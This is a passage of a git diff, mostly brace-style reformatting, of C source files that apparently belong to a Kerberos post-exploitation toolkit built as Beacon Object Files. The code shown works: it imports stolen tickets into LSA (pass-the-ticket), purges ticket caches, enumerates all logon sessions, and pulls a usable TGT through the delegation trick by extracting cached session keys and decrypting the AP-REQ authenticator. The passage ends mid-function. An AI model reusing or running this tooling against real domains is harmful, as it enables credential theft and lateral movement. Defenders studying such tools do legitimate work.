(val) { +static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS_Seq(PKERB_TICKET_EXTENSIONS_Seq *val) +{ + if (val) + { MSASN1$ASN1octetstring_free(&(val)->te_data); } } -static void ASN1CALL ASN1Free_KERB_AUTHENTICATOR(KERB_AUTHENTICATOR* val) { - if (val) { +static void ASN1CALL ASN1Free_KERB_AUTHENTICATOR(KERB_AUTHENTICATOR *val) +{ + if (val) + { MSASN1$ASN1ztcharstring_free((val)->client_realm); ASN1Free_KERB_PRINCIPAL_NAME(&(val)->client_name); - if ((val)->o[0] & 0x80) { + if ((val)->o[0] & 0x80) + { ASN1Free_KERB_CHECKSUM(&(val)->checksum); } - if ((val)->o[0] & 0x40) { + if ((val)->o[0] & 0x40) + { ASN1Free_KERB_ENCRYPTION_KEY(&(val)->subkey); } - if ((val)->o[0] & 0x20) { + if ((val)->o[0] & 0x20) + { MSASN1$ASN1intx_free(&(val)->sequence_number); } - if ((val)->o[0] & 0x10) { + if ((val)->o[0] & 0x10) + { ASN1Free_PKERB_AUTHORIZATION_DATA(&(val)->authorization_data); } } } -static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA_Seq(PKERB_AUTHORIZATION_DATA_Seq* val) { - if (val) { +static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA_Seq(PKERB_AUTHORIZATION_DATA_Seq *val) +{ + if (val) + { MSASN1$ASN1octetstring_free(&(val)->auth_data); } } -static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA(PPKERB_AUTHORIZATION_DATA* val) { +static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA(PPKERB_AUTHORIZATION_DATA *val) +{ PPKERB_AUTHORIZATION_DATA f, ff; - if (val) { - for (f = *val; f; f = ff) { + if (val) + { + for (f = *val; f; f = ff) + { ASN1Free_PKERB_AUTHORIZATION_DATA_Seq(&f->value); ff = f->next; MSASN1$ASN1Free(f); @@ -937,8 +1256,10 @@ static void ASN1CALL ASN1Free_PKERB_AUTHORIZATION_DATA(PPKERB_AUTHORIZATION_DATA } } -static void ASN1CALL ASN1Free_KERB_CHECKSUM(KERB_CHECKSUM* val) { - if (val) { +static void ASN1CALL ASN1Free_KERB_CHECKSUM(KERB_CHECKSUM *val) +{ + if (val) + { MSASN1$ASN1octetstring_free(&(val)->checksum); } } @@ -952,23 +1273,30 @@ static void ASN1CALL ASN1Free_KERB_CHECKSUM(KERB_CHECKSUM* val) { // } // } -static void ASN1CALL ASN1Free_KERB_ENCRYPTION_KEY(KERB_ENCRYPTION_KEY* val) { - if (val) { +static void ASN1CALL ASN1Free_KERB_ENCRYPTION_KEY(KERB_ENCRYPTION_KEY *val) +{ + if (val) + { MSASN1$ASN1octetstring_free(&(val)->keyvalue); } } -static void ASN1CALL ASN1Free_KERB_CRED(KERB_CRED* val) { - if (val) { +static void ASN1CALL ASN1Free_KERB_CRED(KERB_CRED *val) +{ + if (val) + { ASN1Free_KERB_CRED_tickets(&(val)->tickets); ASN1Free_KERB_ENCRYPTED_DATA(&(val)->encrypted_part); } } -static void ASN1CALL ASN1Free_KERB_CRED_tickets(PKERB_CRED_tickets* val) { +static void ASN1CALL ASN1Free_KERB_CRED_tickets(PKERB_CRED_tickets *val) +{ PKERB_CRED_tickets f, ff; - if (val) { - for (f = *val; f; f = ff) { + if (val) + { + for (f = *val; f; f = ff) + { ASN1Free_KERB_TICKET(&f->value); ff = f->next; MSASN1$ASN1Free(f); diff --git a/source/luid.c b/source/luid.c index d4ef53f..46648b3 100644 --- a/source/luid.c +++ b/source/luid.c @@ -1,8 +1,10 @@ #include "luid.h" -void execute_luid(WCHAR** dispatch) { - LUID* currentLUID = GetCurrentLUID(); - if (currentLUID == NULL) { +void execute_luid(WCHAR **dispatch) +{ + LUID *currentLUID = GetCurrentLUID(); + if (currentLUID == NULL) + { PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError()); return; } @@ -10,22 +12,30 @@ void execute_luid(WCHAR** dispatch) { MSVCRT$free(currentLUID); } -LUID* GetCurrentLUID() { +LUID *GetCurrentLUID() +{ TOKEN_STATISTICS tokenStats; DWORD tokenSize; HANDLE hToken = GetCurrentToken(0x8); // TOKEN_QUERY - if (hToken != NULL) { - if (ADVAPI32$GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) { + if (hToken != NULL) + { + if (ADVAPI32$GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) + { KERNEL32$CloseHandle(hToken); - } else { + } + else + { return NULL; } - } else { + } + else + { return NULL; } - - LUID* luid = MSVCRT$calloc(1, sizeof(LUID)); - if (luid == NULL) { + + LUID *luid = MSVCRT$calloc(1, sizeof(LUID)); + if (luid == NULL) + { return NULL; } luid->HighPart = tokenStats.AuthenticationId.HighPart; diff --git a/source/ptt.c b/source/ptt.c index d864082..a3cb38c 100644 --- a/source/ptt.c +++ b/source/ptt.c @@ -1,43 +1,50 @@ #include "ptt.h" -void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) { +void execute_ptt(WCHAR **dispatch, char *ticket, LUID luid, BOOL currentLuid) +{ BOOL highIntegrity = IsHighIntegrity(); - if (!highIntegrity && !currentLuid) { + if (!highIntegrity && !currentLuid) + { PRINT(dispatch, "[!] Not in high integrity.\n"); return; } HANDLE hLsa; - if (currentLuid) { + if (currentLuid) + { // no need to register lsa logon process highIntegrity = FALSE; } NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { PRINT(dispatch, "[!] GetLsaHandle %ld\n", status); return; } ULONG authPackage; LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9}; status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status)); SECUR32$LsaDeregisterLogonProcess(hLsa); return; } int decoded_len = Base64decode_len(ticket); - char* decoded = (char*)MSVCRT$calloc(decoded_len, sizeof(char)); - if (decoded == NULL) { - PRINT(dispatch, "[!] Base64 - could not allocate the memory.\n"); + char *decoded = (char *)MSVCRT$calloc(decoded_len, sizeof(char)); + if (decoded == NULL) + { + PRINT(dispatch, "[!] Could not allocate memory (base64).\n"); SECUR32$LsaDeregisterLogonProcess(hLsa); return; } Base64decode(decoded, ticket); - KERB_SUBMIT_TKT_REQUEST* submitRequest = NULL; + KERB_SUBMIT_TKT_REQUEST *submitRequest = NULL; int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decoded_len; - submitRequest = (KERB_SUBMIT_TKT_REQUEST*)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST)); - if (submitRequest == NULL) { - PRINT(dispatch, "[!] KERB_SUBMIT_TKT_REQUEST - could not allocate memory.\n"); + submitRequest = (KERB_SUBMIT_TKT_REQUEST *)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST)); + if (submitRequest == NULL) + { + PRINT(dispatch, "[!] Could not allocate memory (KERB_SUBMIT_TKT_REQUEST).\n"); MSVCRT$free(decoded); SECUR32$LsaDeregisterLogonProcess(hLsa); return; @@ -45,7 +52,8 @@ void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) { submitRequest->MessageType = KerbSubmitTicketMessage; submitRequest->KerbCredSize = decoded_len; submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST); - if (highIntegrity) { + if (highIntegrity) + { submitRequest->LogonId = luid; } _memcpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decoded, decoded_len); @@ -55,19 +63,26 @@ void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) { PVOID response; status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus); - if (NT_SUCCESS(status)) { - if (NT_SUCCESS(protocolStatus)) { + if (NT_SUCCESS(status)) + { + if (NT_SUCCESS(protocolStatus)) + { PRINT(dispatch, "[+] Ticket successfully imported.\n"); - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(protocolStatus); PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus: %ld\n", status); } - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(status); PRINT(dispatch, "[!] LsaCallAuthenticationPackage Status: %ld\n", status); } - if (submitRequest != NULL) { + if (submitRequest != NULL) + { MSVCRT$free(submitRequest); } SECUR32$LsaDeregisterLogonProcess(hLsa); diff --git a/source/purge.c b/source/purge.c index 39e0110..708c97d 100644 --- a/source/purge.c +++ b/source/purge.c @@ -1,54 +1,68 @@ #include "purge.h" -void execute_purge(WCHAR** dispatch, LUID luid, BOOL currentLuid) { +void execute_purge(WCHAR **dispatch, LUID luid, BOOL currentLuid) +{ ULONG authPackage; HANDLE hLsa; - void* purgeResponse; + void *purgeResponse; ULONG responseSize; NTSTATUS protocolStatus; BOOL highIntegrity = IsHighIntegrity(); - if (!highIntegrity && !currentLuid) { + if (!highIntegrity && !currentLuid) + { PRINT(dispatch, "[!] Not in high integrity.\n"); return; } - if (currentLuid) { + if (currentLuid) + { highIntegrity = FALSE; } NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { PRINT(dispatch, "[!] GetLsaHandle %ld\n", status); return; } LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9}; status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage); - if (!NT_SUCCESS(status)) { + if (!NT_SUCCESS(status)) + { PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status)); SECUR32$LsaDeregisterLogonProcess(hLsa); return; } KERB_PURGE_TKT_CACHE_REQUEST purgeRequest; purgeRequest.MessageType = KerbPurgeTicketCacheMessage; - if (highIntegrity) { + if (highIntegrity) + { purgeRequest.LogonId = luid; - } else { + } + else + { purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0}; } purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1}; purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1}; - status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest, - sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus); + status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest, + sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus); - if (NT_SUCCESS(status)) { - if (NT_SUCCESS(protocolStatus)) { + if (NT_SUCCESS(status)) + { + if (NT_SUCCESS(protocolStatus)) + { PRINT(dispatch, "[+] Successfully purged tickets.\n"); - } else { + } + else + { PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus %ld\n", ADVAPI32$LsaNtStatusToWinError(protocolStatus)); } - } else { + } + else + { PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status)); } diff --git a/source/sessions.c b/source/sessions.c index 5c17789..dd3339a 100644 --- a/source/sessions.c +++ b/source/sessions.c @@ -1,8 +1,10 @@ #include "sessions.h" -void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid) { +void execute_sessions(WCHAR **dispatch, LUID luid, BOOL currentLuid) +{ BOOL highIntegrity = IsHighIntegrity(); - if (!highIntegrity && !currentLuid) { + if (!highIntegrity && !currentLuid) + { PRINT(dispatch, "[!] Not in high integrity.\n"); return; } @@ -10,126 +12,212 @@ void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid) { LOGON_SESSION_DATA sessionData; PSECURITY_LOGON_SESSION_DATA data; NTSTATUS status = GetLogonSessionData(luid, &sessionData); - - if (NT_SUCCESS(status)) { - for (int i = 0; i < sessionData.sessionCount; i++) { + if (NT_SUCCESS(status)) + { + for (int i = 0; i < sessionData.sessionCount; i++) + { data = sessionData.sessionData[i]; - if (data != NULL) { - PrintLogonSessionData(dispatch, *data); - if (i != sessionData.sessionCount - 1) { - PRINT(dispatch, "\n\n"); + if (data != NULL) + { + char *sessionString; + PrintLogonSessionData(*data, &sessionString); + if (sessionString != NULL) + { + PRINT(dispatch, "%s\n\n", sessionString); + MSVCRT$free(sessionString); + } + else + { + PRINT(dispatch, "[!] Unable to print session.\n\n"); } SECUR32$LsaFreeReturnBuffer(data); } } MSVCRT$free(sessionData.sessionData); - } else { - PRINT(dispatch, "[!] execute_sessions GetLogonSessionData: %ld", status); + } + else + { + PRINT(dispatch, "[!] GetLogonSessionData: %ld", status); } } -NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data) { +NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA *data) +{ LOGON_SESSION_DATA sessionData; PSECURITY_LOGON_SESSION_DATA logonData = NULL; NTSTATUS status; - if (luid.LowPart != 0) { + if (luid.LowPart != 0) + { status = SECUR32$LsaGetLogonSessionData(&luid, &logonData); - if (NT_SUCCESS(status)) { + if (NT_SUCCESS(status)) + { sessionData.sessionData = MSVCRT$calloc(1, sizeof(*sessionData.sessionData)); - if (sessionData.sessionData != NULL) { + if (sessionData.sessionData != NULL) + { sessionData.sessionCount = 1; sessionData.sessionData[0] = logonData; *data = sessionData; - } else { + } + else + { status = STATUS_MEMORY_NOT_ALLOCATED; } - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(status); } - } else { + } + else + { ULONG logonSessionCount; PLUID logonSessionList; status = SECUR32$LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList); - if (NT_SUCCESS(status)) { + if (NT_SUCCESS(status)) + { sessionData.sessionData = MSVCRT$calloc(logonSessionCount, sizeof(*sessionData.sessionData)); - if (sessionData.sessionData != NULL) { + if (sessionData.sessionData != NULL) + { sessionData.sessionCount = logonSessionCount; - for (int i = 0; i < logonSessionCount; i++) { + for (int i = 0; i < logonSessionCount; i++) + { LUID luid = logonSessionList[i]; status = SECUR32$LsaGetLogonSessionData(&luid, &logonData); - if (NT_SUCCESS(status)) { + if (NT_SUCCESS(status)) + { sessionData.sessionData[i] = logonData; - } else { + } + else + { sessionData.sessionData[i] = NULL; } } SECUR32$LsaFreeReturnBuffer(logonSessionList); *data = sessionData; - } else { + } + else + { status = STATUS_MEMORY_NOT_ALLOCATED; } - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(status); } } return status; } -char* GetLogonTypeString(ULONG uLogonType) { - char* logonType = NULL; - switch (uLogonType) { - case LOGON32_LOGON_INTERACTIVE: - logonType = "Interactive"; - break; - case LOGON32_LOGON_NETWORK: - logonType = "Network"; - break; - case LOGON32_LOGON_BATCH: - logonType = "Batch"; - break; - case LOGON32_LOGON_SERVICE: - logonType = "Service"; - break; - case LOGON32_LOGON_UNLOCK: - logonType = "Unlock"; - break; - case LOGON32_LOGON_NETWORK_CLEARTEXT: - logonType = "Network_Cleartext"; - break; - case LOGON32_LOGON_NEW_CREDENTIALS: - logonType = "New_Credentials"; - break; - default: - logonType = "(0)"; - break; +void GetLogonTypeString(ULONG uLogonType, char **logonTypeString) +{ + char *types[10] = { + "(0)", + "(1)", + "Interactive (2)", + "Network (3)", + "Batch (4)", + "Service (5)", + "(6)", + "Unlock (7)", + "Network_Cleartext (8)", + "New_Credentials (9)"}; + + *logonTypeString = MSVCRT$malloc(24 * sizeof(char)); + if (*logonTypeString == NULL) + { + return; } - return logonType; + for (int i = 0; i < 10; i++) + { + if (i == uLogonType) + { + _strcpy(*logonTypeString, types[i]); + return; + } + } + _strcpy(*logonTypeString, "(unknown)\0"); } -void PrintLogonSessionData(WCHAR** dispatch, SECURITY_LOGON_SESSION_DATA data) { - WCHAR* sid = NULL; - PRINT(dispatch, "UserName : %.*s\n", data.UserName.Length / (int)sizeof(char), - GetNarrowString(data.UserName.Buffer)); - PRINT(dispatch, "Domain : %.*s\n", data.LogonDomain.Length / (int)sizeof(char), - GetNarrowString(data.LogonDomain.Buffer)); - PRINT(dispatch, "LogonId : %lx:0x%lx\n", data.LogonId.HighPart, data.LogonId.LowPart); - PRINT(dispatch, "Session : %ld\n", data.Session); - if (ADVAPI32$ConvertSidToStringSidW(data.Sid, &sid)) { - PRINT(dispatch, "UserSID : %s\n", GetNarrowString(sid)); - } else { - PRINT(dispatch, "UserSID : -\n"); +void PrintLogonSessionData(SECURITY_LOGON_SESSION_DATA data, char **sessionString) +{ + char *fmt = "UserName : %s\n" + "Domain : %s\n" + "LogonId : %lx:0x%lx\n" + "Session : %ld\n" + "UserSID : %s\n" + "Authentication package : %s\n" + "LogonType : %s\n" + "LogonTime (UTC) : %d/%d/%d %d:%d:%d\n" + "LogonServer : %s\n" + "LogonServerDNSDomain : %s\n" + "UserPrincipalName : %s\n"; + + ANSI_STRING userName = {0}; + ANSI_STRING domain = {0}; + ANSI_STRING authPack = {0}; + ANSI_STRING logonServer = {0}; + ANSI_STRING logonServerDNSDomain = {0}; + ANSI_STRING upn = {0}; + + NTDLL$RtlUnicodeStringToAnsiString(&userName, &data.UserName, TRUE); + NTDLL$RtlUnicodeStringToAnsiString(&domain, &data.LogonDomain, TRUE); + NTDLL$RtlUnicodeStringToAnsiString(&authPack, &data.AuthenticationPackage, TRUE); + NTDLL$RtlUnicodeStringToAnsiString(&logonServer, &data.LogonServer, TRUE); + NTDLL$RtlUnicodeStringToAnsiString(&logonServerDNSDomain, &data.DnsDomainName, TRUE); + NTDLL$RtlUnicodeStringToAnsiString(&upn, &data.Upn, TRUE); + char *sid = NULL; + if (!ADVAPI32$ConvertSidToStringSidA(data.Sid, &sid)) + { + sid = "-"; } - PRINT(dispatch, "Authentication package : %.*s\n", data.AuthenticationPackage.Length / (int)sizeof(char), - GetNarrowString(data.AuthenticationPackage.Buffer)); - char* logonType = GetLogonTypeString(data.LogonType); - PRINT(dispatch, "LogonType : %s\n", logonType); + char *logonType = NULL; + GetLogonTypeString(data.LogonType, &logonType); SYSTEMTIME st_utc = ConvertToSystemtime(data.LogonTime); - PRINT(dispatch, "LogonTime (UTC) : %d/%d/%d %d:%d:%d\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear, - st_utc.wHour, st_utc.wMinute, st_utc.wSecond); - PRINT(dispatch, "LogonServer : %.*s\n", data.LogonServer.Length / (int)sizeof(char), - GetNarrowString(data.LogonServer.Buffer)); - PRINT(dispatch, "LogonServerDNSDomain : %.*s\n", data.DnsDomainName.Length / (int)sizeof(char), - GetNarrowString(data.DnsDomainName.Buffer)); - PRINT(dispatch, "UserPrincipalName : %.*s\n", data.Upn.Length / (int)sizeof(char), - GetNarrowString(data.Upn.Buffer)); + int size = _strlen(fmt) + + userName.Length + + domain.Length + + 24 + 16 + + _strlen(sid) + + authPack.Length + + 32 + + logonServer.Length + + logonServerDNSDomain.Length + + upn.Length + 1; + if (logonType != NULL) + { + size += _strlen(logonType); + } + *sessionString = MSVCRT$malloc(size * sizeof(char)); + if (*sessionString == NULL) + { + goto end; + } + HRESULT result = _StringCchPrintfExA(*sessionString, size, NULL, NULL, STRSAFE_IGNORE_NULLS, fmt, + userName.Buffer, + domain.Buffer, + data.LogonId.HighPart, data.LogonId.LowPart, + data.Session, + sid, + authPack.Buffer, + logonType, + st_utc.wDay, st_utc.wMonth, st_utc.wYear, st_utc.wHour, st_utc.wMinute, st_utc.wSecond, + logonServer.Buffer, + logonServerDNSDomain.Buffer, + upn.Buffer); + if (FAILED(result)) + { + MSVCRT$free(*sessionString); + *sessionString = NULL; + } +end: + NTDLL$RtlFreeAnsiString(&userName); + NTDLL$RtlFreeAnsiString(&domain); + NTDLL$RtlFreeAnsiString(&authPack); + NTDLL$RtlFreeAnsiString(&logonServer); + NTDLL$RtlFreeAnsiString(&logonServerDNSDomain); + NTDLL$RtlFreeAnsiString(&upn); + if (logonType != NULL) + { + MSVCRT$free(logonType); + } } \ No newline at end of file diff --git a/source/tgtdeleg.c b/source/tgtdeleg.c index 5e4c851..4a95d24 100644 --- a/source/tgtdeleg.c +++ b/source/tgtdeleg.c @@ -1,36 +1,46 @@ #include "tgtdeleg.h" -LONG RequestApReq(char* spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate) { +LONG RequestApReq(char *spn, PUCHAR *apreq, PULONG apreqSize, BOOL checkDelegate) +{ CredHandle hCred; TimeStamp timeStamp; SECURITY_STATUS status = SECUR32$AcquireCredentialsHandleA(NULL, "Kerberos", SECPKG_CRED_OUTBOUND, NULL, NULL, 0, NULL, &hCred, &timeStamp); - if (status == SEC_E_OK) { + if (status == SEC_E_OK) + { CtxtHandle hCtx; SecBuffer secBuf = {0, SECBUFFER_TOKEN, NULL}; SecBufferDesc secBufDesc = {SECBUFFER_VERSION, 1, &secBuf}; ULONG contextAttr; status = SECUR32$InitializeSecurityContextA( - &hCred, NULL, (SEC_CHAR*)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, + &hCred, NULL, (SEC_CHAR *)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, SECURITY_NATIVE_DREP, NULL, 0, &hCtx, &secBufDesc, &contextAttr, NULL); - if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED) { + if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED) + { BOOL condition = checkDelegate ? (contextAttr & ISC_REQ_DELEGATE) : TRUE; - if (condition) { + if (condition) + { PUCHAR out = (PUCHAR)MSVCRT$calloc(secBuf.cbBuffer, sizeof(UCHAR)); - if (out != NULL) { + if (out != NULL) + { _memcpy(out, secBuf.pvBuffer, secBuf.cbBuffer); *apreq = out; *apreqSize = secBuf.cbBuffer; - if (secBuf.pvBuffer) { + if (secBuf.pvBuffer) + { SECUR32$FreeContextBuffer(secBuf.pvBuffer); } status = 0; - } else { + } + else + { status = STATUS_MEMORY_NOT_ALLOCATED; } SECUR32$DeleteSecurityContext(&hCtx); - } else { - status = SEC_E_TARGET_UNKNOWN; // not allowed to delegate + } + else + { + status = SEC_E_TARGET_UNKNOWN; // not allowed to delegate } } SECUR32$FreeCredentialsHandle(&hCred); @@ -38,22 +48,27 @@ LONG RequestApReq(char* spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate return status; } -NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize) { +NTSTATUS GetKeyFromCache(char *target, LONG encType, PUCHAR *key, PULONG keySize) +{ HANDLE hLsa; *key = NULL; NTSTATUS status = GetLsaHandle(FALSE, &hLsa); - if (NT_SUCCESS(status)) { + if (NT_SUCCESS(status)) + { ULONG authPackage; LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9}; status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage); - if (NT_SUCCESS(status)) { - WCHAR* wTarget = GetWideString(target); - if (wTarget != NULL) { + if (NT_SUCCESS(status)) + { + WCHAR *wTarget = GetWideString(target); + if (wTarget != NULL) + { USHORT dwTarget = (_wcslen(wTarget) + 1) * sizeof(WCHAR); ULONG requestSize = dwTarget + sizeof(KERB_RETRIEVE_TKT_REQUEST); PKERB_RETRIEVE_TKT_REQUEST request = (PKERB_RETRIEVE_TKT_REQUEST)MSVCRT$calloc(requestSize, sizeof(KERB_RETRIEVE_TKT_REQUEST)); - if (request != NULL) { + if (request != NULL) + { request->MessageType = KerbRetrieveEncodedTicketMessage; request->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY; request->EncryptionType = encType; @@ -66,36 +81,54 @@ NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, request, requestSize, &response, &requestSize, &protocolStatus); MSVCRT$free(request); - if (NT_SUCCESS(status)) { - if (NT_SUCCESS(protocolStatus)) { - if (requestSize > 0) { - char* out = (char*)MSVCRT$calloc(response->Ticket.SessionKey.Length, sizeof(char)); - if (out != NULL) { + if (NT_SUCCESS(status)) + { + if (NT_SUCCESS(protocolStatus)) + { + if (requestSize > 0) + { + char *out = (char *)MSVCRT$calloc(response->Ticket.SessionKey.Length, sizeof(char)); + if (out != NULL) + { _memcpy(out, response->Ticket.SessionKey.Value, - response->Ticket.SessionKey.Length); + response->Ticket.SessionKey.Length); *key = out; *keySize = response->Ticket.SessionKey.Length; - } else { + } + else + { status = STATUS_MEMORY_NOT_ALLOCATED; } SECUR32$LsaFreeReturnBuffer(&response); - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(status); } - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(status); } - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(status); } - } else { + } + else + { status = STATUS_MEMORY_NOT_ALLOCATED; } MSVCRT$free(wTarget); - } else { + } + else + { status = STATUS_MEMORY_NOT_ALLOCATED; } - } else { + } + else + { status = ADVAPI32$LsaNtStatusToWinError(status); } SECUR32$LsaDeregisterLogonProcess(hLsa); @@ -104,24 +137,31 @@ NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize return status; } -NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstring_t* in, ASN1octetstring_t* out) { +NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY *key, ASN1octetstring_t *in, ASN1octetstring_t *out) +{ NTSTATUS status; PKERB_ECRYPT pEcrypt; PVOID pContext; status = CRYPTDLL$CDLocateCSystem(key->keytype, &pEcrypt); - if (status == 0) { + if (status == 0) + { status = pEcrypt->Initialize(key->keyvalue.value, key->keyvalue.length, keyUsage, &pContext); - if (status == 0) { + if (status == 0) + { out->length = in->length; out->value = MSVCRT$calloc(out->length, sizeof(unsigned char)); - if (out->value != NULL) { - status = pEcrypt->Decrypt(pContext, in->value, in->length, out->value, (DWORD*)&out->length); - if (status != 0) { + if (out->value != NULL) + { + status = pEcrypt->Decrypt(pContext, in->value, in->length, out->value, (DWORD *)&out->length); + if (status != 0) + { MSVCRT$free(out->value); out->value = NULL; } - } else { + } + else + { status = KERNEL32$GetLastError(); } pEcrypt->Finish(&pContext); @@ -132,144 +172,202 @@ NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstri } // kekeo/modules/kull_m_memory.c -PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize) { +PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize) +{ BOOL status = FALSE; PBYTE result = NULL; PBYTE current = (PBYTE)buf + bSize; PBYTE limit = current; - for (current = (PBYTE)buf; !status && (current + pSize <= limit); current++) { + for (current = (PBYTE)buf; !status && (current + pSize <= limit); current++) + { status = !_memcmp(pattern, current, pSize); } - if (status) { + if (status) + { result = current - 1; } return result; } -PBYTE SearchOID(LPCVOID data, SIZE_T size) { +PBYTE SearchOID(LPCVOID data, SIZE_T size) +{ byte krbv5[] = {0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02}; /* 1.2.840.113554.1.2.2 */ PBYTE res = (PBYTE)MemorySearch(krbv5, 11, data, size); - if (res != NULL) { + if (res != NULL) + { res += 11; } return res; } -void execute_tgtdeleg(WCHAR** dispatch, char* spn) { +void execute_tgtdeleg(WCHAR **dispatch, char *spn) +{ PUCHAR apreq; ULONG apreqSize; LONG status = RequestApReq(spn, &apreq, &apreqSize, TRUE); - if (status == 0) { + if (status == 0) + { PBYTE tokID = SearchOID(apreq, apreqSize); - if (*(PUSHORT)tokID == 0x0001) { + if (*(PUSHORT)tokID == 0x0001) + { PRINT(dispatch, "[*] Found the AP-REQ delegation ticket in the GSS-API output\n"); PKERB_AP_REQUEST apRequest; KERBERR kerbError; apreqSize -= (LONG)(tokID - (PBYTE)apreq); ASN1module_t module = KRB5_Module_Startup(); - if (module != NULL) { + if (module != NULL) + { kerbError = KerbUnpackData(module, tokID + sizeof(SHORT), apreqSize, KERB_AP_REQUEST_PDU, &apRequest); - if (KERB_SUCCESS(kerbError)) { + if (KERB_SUCCESS(kerbError)) + { int apReqAuthType = apRequest->authenticator.encryption_type; - PRINT(dispatch, "[*] Authenticator etype: %s\n", GetEncryptionTypeString(apReqAuthType)); + char *encTypeString = NULL; + GetEncryptionTypeString(apReqAuthType, &encTypeString); + if (encTypeString != NULL) + { + PRINT(dispatch, "[*] Authenticator etype: %s\n", encTypeString); + MSVCRT$free(encTypeString); + } + else + { + PRINT(dispatch, "[!] Unable to get encryption type.\n"); + } PUCHAR key; ULONG keySize; status = GetKeyFromCache(spn, apReqAuthType, &key, &keySize); - if (NT_SUCCESS(status)) { + if (NT_SUCCESS(status)) + { PRINT(dispatch, "[*] Successfully extracted the service ticket session key\n"); ASN1octetstring_t authenticatorPacked; KERB_ENCRYPTION_KEY encKey = { .keytype = apReqAuthType, .keyvalue.length = keySize, .keyvalue.value = key}; status = KerberosDecrypt(KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, &encKey, &apRequest->authenticator.cipher_text, &authenticatorPacked); - if (NT_SUCCESS(status)) { + if (NT_SUCCESS(status)) + { 